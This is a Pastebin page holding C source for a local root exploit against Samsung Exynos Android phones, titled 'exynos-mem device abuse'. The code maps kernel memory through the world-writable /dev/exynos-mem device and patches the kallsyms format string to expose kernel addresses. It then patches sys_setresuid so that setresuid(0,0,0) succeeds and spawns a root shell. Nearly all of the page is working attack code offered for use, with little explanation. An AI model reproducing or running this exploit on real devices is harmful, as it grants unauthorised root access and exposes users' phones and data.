Advertisement
Guest User

Untitled

a guest
Dec 17th, 2012
550
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.09 KB | None | 0 0
  1. /*
  2. * exynos-mem device abuse by alephzain
  3. *
  4. * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
  5. *
  6. * the device is R/W by all users :
  7. * crw-rw-rw- 1 system graphics 1, 14 Dec 13 20:24 /dev/exynos-mem
  8. *
  9. */
  10.  
  11. /*
  12. * Abuse it for root shell
  13. */
  14. #include <stdio.h>
  15. #include <sys/mman.h>
  16. #include <sys/types.h>
  17. #include <sys/stat.h>
  18. #include <fcntl.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <errno.h>
  22. #include <sys/ioctl.h>
  23. #include <stdbool.h>
  24.  
  25. #define PAGE_OFFSET 0xC0000000
  26. #define PHYS_OFFSET 0x40000000
  27.  
  28. int main(int argc, char **argv, char **env) {
  29. int fd, i, m, index, result;
  30.  
  31. unsigned long *paddr = NULL;
  32. unsigned long *tmp = NULL;
  33. unsigned long *restore_ptr_fmt = NULL;
  34. unsigned long *restore_ptr_setresuid = NULL;
  35. unsigned long addr_sym;
  36.  
  37. int page_size = sysconf(_SC_PAGE_SIZE);
  38. int length = page_size * page_size;
  39.  
  40. /* for root shell */
  41. char *cmd[2];
  42. cmd[0] = "/system/bin/sh";
  43. cmd[1] = NULL;
  44.  
  45. /* /proc/kallsyms parsing */
  46. FILE *kallsyms = NULL;
  47. char line [512];
  48. char *ptr;
  49. char *str;
  50.  
  51. bool found = false;
  52.  
  53. /* open the door */
  54. fd = open("/dev/exynos-mem", O_RDWR);
  55. if (fd == -1) {
  56. printf("[!] Error opening /dev/exynos-mem\n");
  57. exit(1);
  58. }
  59.  
  60. /* kernel reside at the start of physical memory, so take some Mb */
  61. paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
  62. tmp = paddr;
  63. if (paddr == MAP_FAILED) {
  64. printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
  65. exit(1);
  66. }
  67.  
  68. /*
  69. * search the format string "%pK %c %s\n" in memory
  70. * and replace "%pK" by "%p" to force display kernel
  71. * symbols pointer
  72. */
  73. for(m = 0; m < length; m += 4) {
  74. if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
  75. printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
  76. restore_ptr_fmt = tmp;
  77. *(unsigned long*)tmp = 0x20207025;
  78. found = true;
  79. break;
  80. }
  81. tmp++;
  82. }
  83.  
  84. if (found == false) {
  85. printf("[!] s_show->seq_printf format string not found\n");
  86. exit(1);
  87. }
  88.  
  89. found = false;
  90.  
  91. /* kallsyms now display symbols address */
  92. kallsyms = fopen("/proc/kallsyms", "r");
  93. if (kallsyms == NULL) {
  94. printf("[!] kallsysms error: %s\n", strerror(errno));
  95. exit(1);
  96. }
  97.  
  98. /* parse /proc/kallsyms to find sys_setresuid address */
  99. while((ptr = fgets(line, 512, kallsyms))) {
  100. str = strtok(ptr, " ");
  101. addr_sym = strtoul(str, NULL, 16);
  102. index = 1;
  103. while(str) {
  104. str = strtok(NULL, " ");
  105. index++;
  106. if (index == 3) {
  107. if (strncmp("sys_setresuid\n", str, 14) == 0) {
  108. printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
  109. found = true;
  110. }
  111. break;
  112. }
  113. }
  114. if (found) {
  115. tmp = paddr;
  116. tmp += (addr_sym - PAGE_OFFSET) >> 2;
  117. for(m = 0; m < 128; m += 4) {
  118. if (*(unsigned long *)tmp == 0xe3500000) {
  119. printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
  120. restore_ptr_setresuid = tmp;
  121. *(unsigned long *)tmp = 0xe3500001;
  122. break;
  123. }
  124. tmp++;
  125. }
  126. break;
  127. }
  128. }
  129.  
  130. fclose(kallsyms);
  131.  
  132. /* to be sure memory is updated */
  133. usleep(100000);
  134.  
  135. /* ask for root */
  136. result = setresuid(0, 0, 0);
  137.  
  138. /* restore memory */
  139. *(unsigned long *)restore_ptr_fmt = 0x204b7025;
  140. *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
  141. munmap(paddr, length);
  142. close(fd);
  143.  
  144. if (result) {
  145. printf("[!] set user root failed: %s\n", strerror(errno));
  146. exit(1);
  147. }
  148.  
  149. /* execute a root shell */
  150. execve (cmd[0], cmd, env);
  151.  
  152. return 0;
  153. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement